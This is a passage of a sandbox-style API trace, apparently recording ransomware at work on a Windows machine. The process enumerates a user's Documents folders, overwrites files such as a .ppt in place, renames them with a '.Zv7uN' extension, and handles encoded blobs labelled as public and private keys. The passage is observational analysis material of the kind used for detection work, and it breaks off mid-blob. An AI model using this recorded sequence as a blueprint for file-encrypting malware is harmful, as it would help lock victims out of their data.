GetCurrentThreadId () returned 0xa30 [0088.542] GetCurrentThreadId () returned 0xa30 [0088.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.543] GetCurrentThreadId () returned 0xa30 [0088.543] GetCurrentThreadId () returned 0xa30 [0088.543] GetCurrentThreadId () returned 0xa30 [0088.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\2pfWvAl3JPRxQW6X.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\2pfwval3jprxqw6x.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0088.544] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0088.544] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0088.544] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x8fb [0088.544] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0088.544] ReadFile (in: hFile=0x104, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x8fb, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x8fb, lpOverlapped=0x0) returned 1 [0088.546] CloseHandle (hObject=0x104) returned 1 [0088.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\2pfWvAl3JPRxQW6X.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\2pfwval3jprxqw6x.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0088.548] WriteFile (in: hFile=0x104, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x8fb, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f6ac*=0x8fb, lpOverlapped=0x0) returned 1 [0088.550] CloseHandle (hObject=0x104) returned 1 [0088.550] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\2pfWvAl3JPRxQW6X.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\2pfwval3jprxqw6x.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\2pfWvAl3JPRxQW6X.ppt.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\2pfwval3jprxqw6x.ppt.zv7un")) returned 1 [0088.551] GetCurrentThreadId () returned 0xa30 [0088.551] GetCurrentThreadId () returned 0xa30 [0088.551] GetCurrentThreadId () returned 0xa30 [0088.551] GetCurrentThreadId () returned 0xa30 [0088.551] GetCurrentThreadId () returned 0xa30 [0088.551] GetCurrentThreadId () returned 0xa30 [0088.551] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9020ef70, ftCreationTime.dwHighDateTime=0x1d5d8b7, ftLastAccessTime.dwLowDateTime=0xce91a430, ftLastAccessTime.dwHighDateTime=0x1d5e167, ftLastWriteTime.dwLowDateTime=0xce91a430, ftLastWriteTime.dwHighDateTime=0x1d5e167, nFileSizeHigh=0x0, nFileSizeLow=0x147ec, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6JmZ7I0MdR3MM0C Xp7.ods", cAlternateFileName="6JMZ7I~1.ODS")) returned 1 [0088.551] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.551] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.551] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x85213b10, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0x85213b10, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Id3VnokaSQb1-", cAlternateFileName="ID3VNO~1")) returned 1 [0088.551] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x85213b10, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0x85213b10, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Id3VnokaSQb1-", cAlternateFileName="ID3VNO~1")) returned 0 [0088.552] GetLastError () returned 0x12 [0088.552] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0088.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa245820, ftCreationTime.dwHighDateTime=0x1d5e81c, ftLastAccessTime.dwLowDateTime=0x52a9dca0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52a9dca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0088.552] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0088.552] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.552] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa245820, ftCreationTime.dwHighDateTime=0x1d5e81c, ftLastAccessTime.dwLowDateTime=0x52a9dca0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52a9dca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.552] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.552] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.552] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaba3ba0, ftCreationTime.dwHighDateTime=0x1d5e377, ftLastAccessTime.dwLowDateTime=0xbb3d77f0, ftLastAccessTime.dwHighDateTime=0x1d5e334, ftLastWriteTime.dwLowDateTime=0x52a9dca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8f07, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="-0cgImthwd.xls.Zv7uN", cAlternateFileName="-0CGIM~1.ZV7")) returned 1 [0088.552] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.552] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60f7eeb0, ftCreationTime.dwHighDateTime=0x1d5d867, ftLastAccessTime.dwLowDateTime=0x3060b250, ftLastAccessTime.dwHighDateTime=0x1d5e4d8, ftLastWriteTime.dwLowDateTime=0x52a9dca0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8fb, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="2pfWvAl3JPRxQW6X.ppt.Zv7uN", cAlternateFileName="2PFWVA~1.ZV7")) returned 1 [0088.553] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.553] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9020ef70, ftCreationTime.dwHighDateTime=0x1d5d8b7, ftLastAccessTime.dwLowDateTime=0xce91a430, ftLastAccessTime.dwHighDateTime=0x1d5e167, ftLastWriteTime.dwLowDateTime=0xce91a430, ftLastWriteTime.dwHighDateTime=0x1d5e167, nFileSizeHigh=0x0, nFileSizeLow=0x147ec, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6JmZ7I0MdR3MM0C Xp7.ods", cAlternateFileName="6JMZ7I~1.ODS")) returned 1 [0088.553] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.553] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x85213b10, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0x85213b10, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Id3VnokaSQb1-", cAlternateFileName="ID3VNO~1")) returned 1 [0088.553] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.553] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x85213b10, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0x85213b10, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0088.553] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x85213b10, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0x85213b10, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36776770, ftCreationTime.dwHighDateTime=0x1d5e5f9, ftLastAccessTime.dwLowDateTime=0x5c95f900, ftLastAccessTime.dwHighDateTime=0x1d5d9b8, ftLastWriteTime.dwLowDateTime=0x5c95f900, ftLastWriteTime.dwHighDateTime=0x1d5d9b8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="FmpsaQJLUMaR", cAlternateFileName="FMPSAQ~1")) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa811e210, ftCreationTime.dwHighDateTime=0x1d5e0be, ftLastAccessTime.dwLowDateTime=0x13517640, ftLastAccessTime.dwHighDateTime=0x1d5e622, ftLastWriteTime.dwLowDateTime=0x13517640, ftLastWriteTime.dwHighDateTime=0x1d5e622, nFileSizeHigh=0x0, nFileSizeLow=0x22a1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="J-v2Kn6wrqYZ8FKCS0WZ.ots", cAlternateFileName="J-V2KN~1.OTS")) returned 1 [0088.554] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0088.554] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.554] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2bdb60, ftCreationTime.dwHighDateTime=0x1d5de96, ftLastAccessTime.dwLowDateTime=0xdcc46410, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0xdcc46410, ftLastWriteTime.dwHighDateTime=0x1d5deb6, nFileSizeHigh=0x0, nFileSizeLow=0x25e0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="mSDpfr6aM.pps", cAlternateFileName="MSDPFR~1.PPS")) returned 1 [0088.554] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0088.554] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0088.554] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\mSDpfr6aM.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\msdpfr6am.pps"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2bdb60, ftCreationTime.dwHighDateTime=0x1d5de96, ftLastAccessTime.dwLowDateTime=0xdcc46410, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0xdcc46410, ftLastWriteTime.dwHighDateTime=0x1d5deb6, nFileSizeHigh=0x0, nFileSizeLow=0x25e0)) returned 1 [0088.554] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\mSDpfr6aM.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\msdpfr6am.pps")) returned 0x20 [0088.554] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\mSDpfr6aM.pps", dwFileAttributes=0x80) returned 1 [0088.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8